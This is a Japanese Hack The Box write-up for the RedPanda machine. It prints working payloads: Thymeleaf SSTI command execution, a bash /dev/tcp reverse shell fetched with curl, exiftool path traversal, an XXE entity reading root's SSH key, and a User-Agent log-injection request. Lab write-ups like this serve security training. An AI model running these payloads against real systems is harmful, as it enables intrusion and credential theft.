Skip to content

Hack the box - RedPanda

Hack the boxのRedPandaを完了したのでメモ。

難易度Writeupを
Easy見た

1. nmapでrecon

  • 22番でSSH、8080番でWebサーバが動いていることを確認

2. Webサーバが動いているのでアクセス

  • 検索ボックスに入れた文字列がパンダの名前に部分一致した場合に画面に一覧表示する
  • authorごとのページがある
    • authorについてデータをexportできる
    • `authorには2人いそう
      • woodenk → たぶんこの人がadmin(ソースコードのauthorにwooden_kと書いてある)
      • damian
  • サイトのタイトルにMade with Spring Bootと書いてある
  • 検索ボックスに{を入れた文字列(}では閉じない)を入力するとWhitelabe Error Pageが表示されて500番が返ってくる
  • gobusterやったけど対して目新しいものはない
  • $を入力するとbanned charactersとなる

3. Spring Bootで検索

  • Spring Bootでよく使われるテンプレート、特にThymeleafにSSTI(Server Side Template Injection)を仕掛ける内容の記事:Exploiting SSTI in Thymeleaf
  • いくつか試してみる
    • ${7*7} → banned characrters
    • *{7*7} → 計算されて49が表示される
  • 上記の記事にあった${T(java.lang.Runtime).getRuntime().exec('calc')}を試してみる
    • ただし$は使えなさそうなので、*に置き換えて
    • コマンドは試しにpwd
    • 最終的には*{T(java.lang.Runtime).getRuntime().exec('pwd')} → 表示が変わった、コマンドが実行されてそう
  • もっと確実に確かめる
    • ローカルでtcpdump:sudo tcpdump -n -i tun0 icmp
    • 検索ボックスには*{T(java.lang.Runtime).getRuntime().exec('ping -c 1 <IPADDR>')} → ローカルのtun0にpingが届いた!
  • SSTIの他の記事:SSTI (Server Side Template Injection)

4. reverse shell

  • exec関数内にbashncのリバースシェルを仕掛けてもうまくいかない
  • リバースシェルをスクリプトにしてファイルを送り込む
#!/bin/bash
bash -i >& /dev/tcp/<IPADDR>/<PORT> 0>&1
  • ローカルでWebサーバを起動させたら、exec関数内にcurlを仕込んでスクリプトをダウンロードさせる(このとき-oオプションをつけて、ファイルパスを指定、例えば/tmp/myshとか
  • 成功したら、今度はncでTCPサーバを競う
  • exec関数内にbash /tmp/myshを仕込んで実行 → リバースシェルが取れた

5. ホスト内を探索

  • pspyをTargetマシンにおいて実行
    • panda_searchはWebアプリ
    • cronで/opt/cleanup.shが走っている
    • cronでcredis_scoreが走っている
2023/05/13 00:54:54 CMD: UID=1000 PID=878 | java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
...
2023/05/13 00:55:01 CMD: UID=0 PID=11583 | /usr/sbin/CRON -f
2023/05/13 00:55:01 CMD: UID=0 PID=11585 | sudo -u woodenk /opt/cleanup.sh
2023/05/13 00:55:01 CMD: UID=0 PID=11584 | /bin/sh -c sudo -u woodenk /opt/cleanup.sh
...
2023/05/13 00:56:01 CMD: UID=0 PID=11598 | /usr/sbin/CRON -f
2023/05/13 00:56:01 CMD: UID=0 PID=11600 | /bin/sh /root/run_credits.sh
2023/05/13 00:56:01 CMD: UID=0 PID=11599 | /bin/sh -c /root/run_credits.sh
2023/05/13 00:56:01 CMD: UID=0 PID=11601 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
...
  • /opt/panda_search/配下にWebアプリのソースが置いてあるので確認
    • MainController.java
      • MYSQLに接続する際のCredsが書いてある
        • SSHもこれでいけたが、リバースシェルの場合と所属するgroupが違う
        • SSTIによるリバースシェルで起動されたため、このような違いが生じるらしい
      • woodenkユーザのパスワードをsudo -lに試してみる
        • Sorry, user woodenk may not run sudo on redpanda.なのでsudoは使えない
Terminal window
# SSHの場合
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)
# リバースシェルの場合
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
  • RequestInterceptor.java
    • /opt/panda_search/redpanda.logへのログ出力処理が書かれている

7. cleanup.sh

いろんな場所の.xml*.jpgを探して削除するスクリプト。

/opt/cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;

8. バックグラウンドアプリ credit_score

cronトリガーでroot権限で動く

  1. /opt/panda_search/redpanda.logの各行を読み込む
/opt/panda_search/redpanda.log
200||<IPADDR>||Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0||/search
200||<IPADDR>||Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0||/img/greg.jpg
  1. IsImage()関数:*.jpgファイルへのリスエストだったら
  2. 行を||で区切って、最後の文字列を変数uriとする
  3. getArtist(uri)<サーバ上のファイルパス>/uriから.jpgファイルを取り出し、メタデータからartsitの名前を抽出
  4. /credits/" + artist + "_creds.xmlviewstotal_viewsをインクリメントして、ファイルを上書き保存

/creditslogグループに所属していてもreadonly

9. PrivEscのプラン

大まかな流れを組み立てておく

  1. メタタグArtist../tmp/evil)で設定した画像(poc.jpg)を用意し、RedPandaサーバの/tmp/poc.jpgに配置
  • 画像のメタタグを読んだら、/credits/../tmp/evil_creds.xmlを読みに行くようにする
  1. XXEのペイロードを組み込んだXMLを/tmp/evil_creds.xmlも配置
  2. Webサーバへリクエストを投げる - /tmp/poc.jpgを読みに行くようにURLを指定する
  • ||で区切る単純なパースロジックを突くため、User-Agentを書き換える
  1. 結果として.jpgファイルのリクエストなのでログパースがトリガーされる
  • 先ほどアップロードしたpoc.jpgファイルを取り出し、そのメタタグArtist: ../tmp/evilを読み込む
  • /tmp/evil_creds.xmlを読み込んで処理をする

メタタグを書き換えるコマンドはこんな感じ

Terminal window
$ exiftool -Artist=../tmp/evil poc.jpg

XMLファイルはこんな感じ

evil_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
<author>&xxe;</author>
<image>
<uri>/img/angy.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/poc.jpg</uri>
<views>0</views>
</image>
<totalviews>1</totalviews>
</credits>

User-Agentを書き換えたcurl

Terminal window
$ curl -A "something||/../../../../../../../../../../tmp/poc.jpg" http://localhost:8080/

10. 実行

/opt/cleanup.shがファイルを削除しにくるので手際よく、、、

/root/root.txt奪取。